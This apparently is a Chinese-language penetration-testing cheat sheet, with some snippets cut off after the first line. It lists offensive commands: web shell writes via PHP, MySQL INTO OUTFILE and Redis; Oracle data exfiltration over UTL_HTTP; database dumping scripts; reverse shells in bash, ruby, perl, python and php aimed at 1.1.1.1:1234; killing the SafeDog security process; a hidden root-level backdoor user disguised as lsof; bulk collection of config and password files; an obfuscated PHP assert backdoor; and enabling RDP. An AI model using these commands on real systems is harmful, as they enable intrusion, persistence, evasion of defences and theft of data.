PHP相关
1 | <?php copy("http://x.x.x.x/shell.txt", "d:\www\shell.php"); ?> |
Mysql数据库
phpmyadmin爆路径
1 | http://url/phpMyAdmin/libraries/select_lang.lib.php |
SQL语句导出shell:
1 | select "<?php eval($_POST['1']);?>" into outfile 'C:\www\shell.php'; |
Redis数据库
写shell:
1 | config set dir D:\www |
Oracle数据库
查数据库ip
1 | select sys_context('userenv','ip_address') from dual |
通过外连回传数据
1 | SELECT UTL_HTTP.request('http://target.com/getdata?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1 |
查询所有表
1 | SELECT * FROM ALL_TABLES |
查询当前用户表
1 | select table_name from user_tables; |
查询所有表按大小排序
1 | SELECT TABLE_NAME,NUM_ROWS FROM ALL_TABLES order by NUM_ROWS desc |
查询表前十条
1 | select * from users where rownum < 10 |
分页查询 2000000 到 4000000
1 | SELECT * FROM (SELECT e.*,ROWNUM rn FROM (select * from user ) e WHERE ROWNUM <= 4000000) WHERE rn > 2000000 |
查询当前编码
1 | select userenv('language') from dual; |
命令行执行
1 | export NLS_LANG="american_america.AL32UTF8" |
拖库脚本
JSP1
1 | <%@ page contentType="text/html;charset=UTF-8"%> |
JSP2
1 | <%@ page contentType="text/html;charset=UTF-8"%> |
ColdFusion
1 | <CFSET USERNAME="user"> |
反弹shell
bash
1 | bash -i >& /dev/tcp/1.1.1.1/1234 0>&1 |
1 | rm -f /tmp/p; mknod /tmp/p p && telnet 1.1.1.1 1234 0/tmp/p |
ruby
1 | ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
perl
1 | perl -e 'use Socket;$i="1.1.1.1"; |
python
1 | python -c 'import socket,subprocess,os; |
php
1 | php -r '$sock=fsockopen("1.1.1.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
Windows取消共享文件夹安全警告
1 | @echo off |
kill安全狗3.x
1 | ntsd -c q -pn SafeDogGuardCenter.exe |
其他
python Simple HTTP服务:
1 | python -m SimpleHTTPServer |
Linux相关技巧
压缩目录
1 | zip -r root.zip /root/* |
添加用户并设置密码
1 | useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof |
收集所有.sh .pl .py .conf .cnf .ini .*history .pass (/usr/share目录里面的除外) 并打包成zip
1 | find / \! -path “/usr/share/*” -regex “.*\.sh$\|.*\.pl$\|.*\.py$\|.*\.conf$\|.*\.cnf$\|.*\.ini$\|.*\/\..*history$\|.*\/\..*pass.*” -print|zip pack.zip -@ |
array_push 后门
1 | array_map("ass\x65rt",(array)$_REQUEST['array']); |
开启3389端口
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |